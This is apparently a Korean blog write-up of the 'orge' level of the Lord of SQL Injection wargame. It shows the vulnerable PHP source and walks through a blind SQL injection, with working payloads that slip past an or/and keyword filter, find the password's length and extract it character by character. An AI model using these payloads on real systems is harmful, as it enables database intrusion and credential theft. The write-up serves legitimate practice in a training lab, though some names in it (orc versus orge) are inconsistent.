query : select id from prob_orge where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
PHP 문법
addslashes()
- DB는 구분 기호인 " ' \ 등을 사용
- 하나의 ' (싱글 쿼테이션)나 " (더블 쿼테이션) 같은 구분자가 들어가면 예상치 않은 오류 발생
( 'It's an apple' 이렇게 쿼리를 전송하면 It뒤에 ' (싱글 쿼테이션)로 인해 오류 ) - 'It\'s an apple' 으로 addslashes() 가 \(백슬래시)를 붙여 바꿔 작업 수행
stripslashes ()
- addslashes함수 반대 기능으로 입력될 때 DB에서 추가되었던 \ (백슬래시)를 제거해주는 함수
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
- prob . _ () 특수문자 필터링
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
- or and 에 대한 필터링
$_GET[pw] = addslashes($_GET[pw]);
- " ' ` 등의 기호를 이스케이프하기 때문에 문자열 대입은 힘듬
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
- admin에 대한 pw 값 대입
- DB의 pw와 입력한 pw가 같으면 문제 해결
문제 해결
- admin의 pw를 입력해야 문제 해결, Blind Injection 수행
- Query에서 True, False 결과가 나오는 위치 확인
- Password 길이 확인
- ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행
Query에서 True, False 대입할 위치 확인
- True, False 결과 확인
- True : ID guest에 PW 값을 참으로 대입할 경우 Hello guest 문구 출력
(?pw= ' || 1=1%23) - False : ID guest에 PW 값을 거짓으로 대입할 경우 문구 미출력
(?pw= ' || 1=2%23)
Password 길이 확인
- Hello admin 출력으로 참/거짓 확인
- and = && = %26%26
- # = %23
- pw 는 8자리
- 9자리 미만 : True
(?pw=' || id='admin' %26%26 length(pw)<9%23)
- 8자리 미만 : False
(?pw=' || id='admin' %26%26 length(pw)<8%23)
ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행
substr() 활용
- substr(pw,3,2) : pw문자열의 3번째 부터 2글자 출력
- ascii 코드 번호 56 미만 : True
( ?pw= '||id='admin' %26%26 ascii(substr(pw,1,1))<56%23 ) - ascii 코드 번호 55 미만 : False
( ?pw= '||id='admin' %26%26 ascii(substr(pw,1,1))<55%23 ) - pw 첫번째 글자는 ascii code 55 ( "7" )
- ascii 코드 번호 99 미만 : True
(?pw= '||id='admin' %26%26 ascii(substr(pw,2,1))<99%23) - ascii 코드 번호 98 미만 : False
(?pw= '||id='admin' %26%26 ascii(substr(pw,2,1))<98%23) - pw 두번째 글자는 ascii code 98 ( "b" )
ASCII Code Table
Python 활용
GET 방식으로 URL에 pw 대입 ( ?pw=7b751aec )
- query : select id from prob_orc where id='admin' and pw='7b751aec'
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 09 ] vampire (0) | 2021.12.18 |
---|---|
[ LS - 08 ] troll (0) | 2021.12.18 |
[ LS - 06 ] darklef (0) | 2021.12.18 |
[ LS - 05 ] wolfman (0) | 2021.12.18 |
[ LS - 04 ] orc (0) | 2021.12.18 |